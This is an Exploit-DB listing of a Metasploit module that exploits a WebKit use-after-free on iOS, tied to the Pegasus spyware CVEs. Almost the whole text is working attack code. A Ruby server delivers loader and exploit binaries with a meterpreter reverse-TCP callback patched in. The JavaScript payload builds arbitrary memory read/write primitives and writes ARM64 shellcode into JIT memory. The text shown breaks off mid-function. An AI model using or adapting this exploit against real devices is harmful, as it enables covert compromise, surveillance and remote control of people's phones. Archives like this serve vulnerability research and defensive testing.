Exploit-DB #44836
Description: WebKit - not_number defineProperties UAF (Metasploit)
Type: remote
Platform: ios
Date: 2018-06-05
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WebKit not_number defineProperties UAF',
      'Description'    => %q{
          This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'qwertyoruiop', # jbme.qwertyoruiop.com
        'siguza',       # PhoenixNonce
        'tihmstar',     # PhoenixNonce
        'timwr',        # metasploit integration
        ],
      'References'     => [
          ['CVE', '2016-4655'],
          ['CVE', '2016-4656'],
          ['CVE', '2016-4657'],
          ['BID', '92651'],
          ['BID', '92652'],
          ['BID', '92653'],
          ['URL', 'https://blog.lookout.com/trident-pegasus'],
          ['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'],
          ['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'],
          ['URL', 'https://github.com/Siguza/PhoenixNonce'],
          ['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],
          ['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],
        ],
      'Arch'           => ARCH_AARCH64,
      'Platform'       => 'apple_ios',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
      'Targets'        => [[ 'Automatic', {} ]],
      'DisclosureDate' => 'Aug 25 2016'))
    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
        OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
      ])
  end

  def on_request_uri(cli, request)
    print_status("Request from #{request['User-Agent']}")
    if request.uri =~ %r{/loader$}
      print_good("Target is vulnerable.")
      local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
      loader_data = File.read(local_file, {:mode => 'rb'})
      send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
      return
    elsif request.uri =~ %r{/exploit$}
      local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
      loader_data = File.read(local_file, {:mode => 'rb'})
      payload_url = "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
      payload_url_index = loader_data.index('PAYLOAD_URL')
      loader_data[payload_url_index, payload_url.length] = payload_url
      send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
      print_status("Sent exploit (#{loader_data.size} bytes)")
      return
    end
    html = %Q^
<html>
<body>
<script>
 function load_binary_resource(url) {
   var req = new XMLHttpRequest();
   req.open('GET', url, false);
   req.overrideMimeType('text/plain; charset=x-user-defined');
   req.send(null);
   return req.responseText;
 }
 var mem0 = 0;
 var mem1 = 0;
 var mem2 = 0;

 function read4(addr) {
  mem0[4] = addr;
  var ret = mem2[0];
  mem0[4] = mem1;
  return ret;
 }

 function write4(addr, val) {
  mem0[4] = addr;
  mem2[0] = val;
  mem0[4] = mem1;
 }
 filestream = load_binary_resource("exploit")
 var shll = new Uint32Array(filestream.length / 4);
 for (var i = 0; i < filestream.length;) {
  var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
  shll[i / 4] = word;
  i += 4;
 }
 _dview = null;
 function u2d(low, hi) {
  if (!_dview) _dview = new DataView(new ArrayBuffer(16));
  _dview.setUint32(0, hi);
  _dview.setUint32(4, low);
  return _dview.getFloat64(0);
 }
 var pressure = new Array(100);
 var bufs = new Array(10000);
 dgc = function() {
  for (var i = 0; i < pressure.length; i++) {
   pressure[i] = new Uint32Array(0x10000);
  }
  for (var i = 0; i < pressure.length; i++) {
   pressure[i] = 0;
  }
 }

 function swag() {
  if (bufs[0]) return;
  for (var i = 0; i < 4; i++) {
    dgc();
  }
  for (i = 0; i < bufs.length; i++) {
   bufs[i] = new Uint32Array(0x100 * 2)
   for (k = 0; k < bufs[i].length;) {
    bufs[i][k++] = 0x41414141;
    bufs[i][k++] = 0xffff0000;
   }
  }
 }
 var trycatch = "";
 for (var z = 0; z < 0x2000; z++) trycatch += "try{} catch(e){}; ";
 var fc = new Function(trycatch);
 var fcp = 0;
 var smsh = new Uint32Array(0x10)

 function smashed(stl) {
  document.body.innerHTML = "";
  var jitf = (smsh[(0x10 + smsh[(0x10 + smsh[(fcp + 0x18) / 4]) / 4]) / 4]);
  write4(jitf, 0xd28024d0);         //movz x16, 0x126
  write4(jitf + 4, 0x58000060);     //ldr x0, 0x100007ee4
  write4(jitf + 8, 0xd4001001);     //svc 80
  write4(jitf + 12, 0xd65f03c0);    //ret
  write4(jitf + 16, jitf + 0x20);
  write4(jitf + 20, 1);
  fc();
  var dyncache = read4(jitf + 0x20);
  var dyncachev = read4(jitf + 0x20);
  var go = 1;
  while (go) {
   if (read4(dyncache) == 0xfeedfacf) {
    for (i = 0; i < 0x1000 / 4; i++) {
     if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
     {
      go = 0;
      break;
     }
    }
   }
   dyncache += 0x1000;
  }
  dyncache -= 0x1000;
  var bss = [];
  var bss_size = [];
  for (i = 0; i < 0x1000 / 4; i++) {
   if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {